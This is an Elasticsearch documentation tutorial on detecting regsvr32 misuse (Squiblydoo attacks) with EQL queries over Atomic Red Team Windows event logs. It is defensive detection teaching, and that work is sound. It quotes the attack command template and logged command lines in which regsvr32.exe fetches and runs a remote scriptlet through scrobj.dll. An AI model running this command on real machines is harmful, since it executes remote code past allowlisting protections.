436 lines
13 KiB
Plaintext
436 lines
13 KiB
Plaintext
[role="xpack"]
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[testenv="basic"]
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[[eql-ex-threat-detection]]
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== Example: Detect threats with EQL
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experimental::[]
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This example tutorial shows you how you can use EQL to detect security threats
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and other suspicious behavior. In the scenario, you're tasked with detecting
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https://attack.mitre.org/techniques/T1218/010/[regsvr32 misuse] in Windows
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event logs.
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`regsvr32.exe` is a built-in command-line utility used to register `.dll`
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libraries in Windows. As a native tool, `regsvr32.exe` has a trusted status in
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Windows, letting it bypass most allowlist software and script blockers.
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Attackers with access to a user's command line can use `regsvr32.exe` to run
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malicious scripts using `.dll` libraries, even on machines that otherwise
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disallow such scripts.
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One common variant of regsvr32 misuse is a
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https://attack.mitre.org/techniques/T1218/010/[Squiblydoo attack]. In a
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Squiblydoo attack, a `regsvr32.exe` command uses the `scrobj.dll` library to
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register and run a remote script. These commands often look like this:
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[source,sh]
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----
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"regsvr32.exe /s /u /i:<script-url> scrobj.dll"
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----
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[discrete]
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[[eql-ex-threat-detection-setup]]
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=== Setup
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This tutorial uses a test dataset for regsvr32 misuse from
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https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has
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been normalized and mapped to use fields from the {ecs-ref}[Elastic Common
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Schema (ECS)], including the `@timestamp` and `event.category` fields. The
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dataset includes events that imitate behaviors of a Squiblydoo attack, as
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documented in the https://attack.mitre.org[MITRE ATT&CK®] knowledge base.
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To get started, download and index the dataset:
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. Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset.
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. Index the data into `my-index-000001` with the following <<docs-bulk,bulk
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API>> request:
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+
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[source,sh]
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----
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curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
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----
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// NOTCONSOLE
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. Use the <<cat-indices,cat indices API>> to verify the data was successfully
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indexed.
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+
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[source,console]
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----
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GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
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----
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// TEST[setup:atomic_red_regsvr32]
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+
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The API response should show a `docs.count` value of `150`, indicating 150
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documents were indexed.
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+
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[source,txt]
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----
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health status index docs.count
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yellow open my-index-000001 150
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----
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// TESTRESPONSE[non_json]
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[discrete]
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[[eql-ex-get-a-count-of-regsvr32-events]]
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=== Get a count of regsvr32 events
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Since you're looking for regsvr32 misuse, start by getting a count of any
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events associated with a `regsvr32.exe` process.
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The following <<eql-search-api,EQL search API>> request uses an EQL query to
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retrieve a count of events with a `process.name` of `regsvr32.exe`. The query
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starts with the <<eql-syntax-match-any-event-category,`any where` keywords>>,
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meaning the query can match events of any <<eql-required-fields,event
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category>>.
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[source,console]
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----
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GET /my-index-000001/_eql/search?filter_path=-hits.events <1>
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{
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"query": """
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any where process.name == "regsvr32.exe" <2>
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""",
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"size": 200 <3>
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}
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----
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// TEST[setup:atomic_red_regsvr32]
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<1> Uses the `?filter_path=-hits.events` query parameter to exclude the
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`hits.events` property from the response. The `hits.events` property contains
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the document source for any matching events. This request is intended to
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retrieve a count of events only.
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<2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`.
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<3> Returns up to 200 events or sequences matching the EQL query.
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The request returns the following response, indicating that 143 events match the
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query.
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[source,console-result]
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----
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{
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"is_partial": false,
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"is_running": false,
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"took": 60,
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"timed_out": false,
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"hits": {
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"total": {
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"value": 143,
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"relation": "eq"
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}
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}
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}
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----
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// TESTRESPONSE[s/"took": 60/"took": $body.took/]
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[discrete]
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[[eql-ex-check-for-command-line-artifacts]]
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=== Check for command line artifacts
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Based on your previous query, you know regsvr32 processes were associated with
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143 events. But how was `regsvr32.exe` first called? And who called it?
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`regsvr32.exe` is a command-line utility so it may help to narrow your results
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to processes where the command line was used.
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Update the previous EQL query as follows:
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* Change the `any` keyword to `process`. This limits matches to events with an
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`event.category` of `process`.
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* Add the `and process.command_line.keyword != null` condition to match only
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events with a command line value.
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You'll also need to remove the `filter_path=-hits.events` query parameter. This
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lets you retrieve the document source for any matching events.
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[source,console]
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----
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GET /my-index-000001/_eql/search
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{
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"query": """
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process where process.name == "regsvr32.exe" and process.command_line.keyword != null
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"""
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}
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----
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// TEST[setup:atomic_red_regsvr32]
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The query matches one process event. The event has an `event.type` of
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`creation`, indicating the start of a `regsvr32.exe` process.
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Based on the `process.command_line` value in the response, `regsvr32.exe` used
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`scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a
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Squiblydoo attack.
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The response also includes other valuable information about how the
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`regsvr32.exe` process started, such as the `@timestamp`, the associated
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`user.id`, and the `process.parent.name`.
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[source,console-result]
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----
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{
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"is_partial": false,
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"is_running": false,
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"took": 21,
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"timed_out": false,
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"hits": {
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"total": {
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"value": 1,
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"relation": "eq"
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},
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"events": [
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{
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"_index": "my-index-000001",
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"_id": "gl5MJXMBMk1dGnErnBW8",
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"_source": {
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"process": {
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"parent": {
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"name": "cmd.exe",
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"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
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"executable": "C:\\Windows\\System32\\cmd.exe"
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},
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"name": "regsvr32.exe",
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"pid": 2012,
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"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
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"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
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"executable": "C:\\Windows\\System32\\regsvr32.exe",
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"ppid": 2652
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},
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"logon_id": 217055,
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"@timestamp": 131883573237130000,
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"event": {
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"category": "process",
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"type": "creation"
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},
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"user": {
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"full_name": "bob",
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"domain": "ART-DESKTOP",
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"id": "ART-DESKTOP\\bob"
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}
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}
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}
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]
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}
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}
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----
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// TESTRESPONSE[s/"took": 21/"took": $body.took/]
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// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
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[discrete]
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[[eql-ex-check-for-malicious-script-loads]]
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=== Check for malicious script loads
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You now know that a `regsvr32.exe` process was used to register a potentially
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malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the
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`scrob.dll` library.
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Modify the previous EQL query as follows:
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* Change the `process` keyword to `library`.
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* Replace the `process.command_line.keyword != null` condition with
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`dll.name == "scrobj.dll`.
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[source,console]
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----
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GET /my-index-000001/_eql/search
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{
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"query": """
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library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
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"""
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}
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----
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// TEST[setup:atomic_red_regsvr32]
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The query matches an event, confirming `scrobj.dll` was later loaded by
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`regsvr32.exe`.
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[source,console-result]
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----
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{
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"is_partial": false,
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"is_running": false,
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"took": 5,
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"timed_out": false,
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"hits": {
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"total": {
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"value": 1,
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"relation": "eq"
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},
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"events": [
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{
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"_index": "my-index-000001",
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"_id": "ol5MJXMBMk1dGnErnBW8",
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"_source": {
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"process": {
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"name": "regsvr32.exe",
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"pid": 2012,
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"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
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"executable": "C:\\Windows\\System32\\regsvr32.exe"
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},
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"@timestamp": 131883573237450016,
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"dll": {
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"path": "C:\\Windows\\System32\\scrobj.dll",
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"name": "scrobj.dll"
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},
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"event": {
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"category": "library"
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}
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}
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}
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]
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}
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}
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----
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// TESTRESPONSE[s/"took": 5/"took": $body.took/]
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// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
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[discrete]
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[[eql-ex-detemine-likelihood-of-sucess]]
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=== Determine the likelihood of success
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In many cases, malicious scripts are used to connect to remote servers or
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download other files. If this occurred, the attack might have succeeded.
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Use an <<eql-sequences,EQL sequence query>> to check for the following series of
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events, in order:
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. A `regsvr32.exe` process, which could have been used to register malicious
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scripts as `scrobj.dll`
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. A load of the `scrobj.dll` library by the same process
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. Any network event by the same process, which could indicate the download of a
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remote file
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To match, each event in the sequence must share the same process ID, recorded in
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the `process.pid` field.
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Based on the command line value seen in the previous result, you can expect to
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find a match. However, the sequence query isn't designed for that specific
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command. Instead, it looks for a pattern of suspicious behavior while still
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being generic enough to detect similar threats in the future.
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[source,console]
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----
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GET /my-index-000001/_eql/search
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{
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"query": """
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sequence by process.pid
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[process where process.name == "regsvr32.exe"]
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[library where dll.name == "scrobj.dll"]
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[network where true]
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"""
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}
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----
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// TEST[setup:atomic_red_regsvr32]
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The query matches a sequence, indicating the attack likely succeeded.
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[source,console-result]
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----
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{
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"is_partial": false,
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"is_running": false,
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"took": 25,
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"timed_out": false,
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"hits": {
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"total": {
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"value": 1,
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"relation": "eq"
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},
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"sequences": [
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{
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"join_keys": [
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2012
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],
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"events": [
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{
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"_index": "my-index-000001",
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"_id": "gl5MJXMBMk1dGnErnBW8",
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"_source": {
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"process": {
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"parent": {
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"name": "cmd.exe",
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"entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
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"executable": "C:\\Windows\\System32\\cmd.exe"
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},
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"name": "regsvr32.exe",
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"pid": 2012,
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"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
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"command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
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"executable": "C:\\Windows\\System32\\regsvr32.exe",
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"ppid": 2652
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},
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"logon_id": 217055,
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"@timestamp": 131883573237130000,
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"event": {
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"category": "process",
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"type": "creation"
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},
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"user": {
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"full_name": "bob",
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"domain": "ART-DESKTOP",
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"id": "ART-DESKTOP\\bob"
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}
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}
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},
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{
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"_index": "my-index-000001",
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"_id": "ol5MJXMBMk1dGnErnBW8",
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"_source": {
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"process": {
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"name": "regsvr32.exe",
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"pid": 2012,
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"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
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"executable": "C:\\Windows\\System32\\regsvr32.exe"
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},
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"@timestamp": 131883573237450016,
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"dll": {
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"path": "C:\\Windows\\System32\\scrobj.dll",
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"name": "scrobj.dll"
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},
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"event": {
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"category": "library"
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}
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}
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},
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{
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"_index": "my-index-000001",
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"_id": "EF5MJXMBMk1dGnErnBa9",
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"_source": {
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"process": {
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"name": "regsvr32.exe",
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"pid": 2012,
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"entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
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"executable": "C:\\Windows\\System32\\regsvr32.exe"
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},
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"@timestamp": 131883573238680000,
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"destination": {
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"address": "151.101.48.133",
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"port": "443"
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},
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"source": {
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"address": "192.168.162.134",
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"port": "50505"
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},
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"event": {
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"category": "network"
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},
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"user": {
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"full_name": "bob",
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"domain": "ART-DESKTOP",
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"id": "ART-DESKTOP\\bob"
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},
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"network": {
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"protocol": "tcp",
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"direction": "outbound"
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}
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}
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}
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]
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}
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]
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}
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}
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----
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// TESTRESPONSE[s/"took": 25/"took": $body.took/]
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// TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
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// TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
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// TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]
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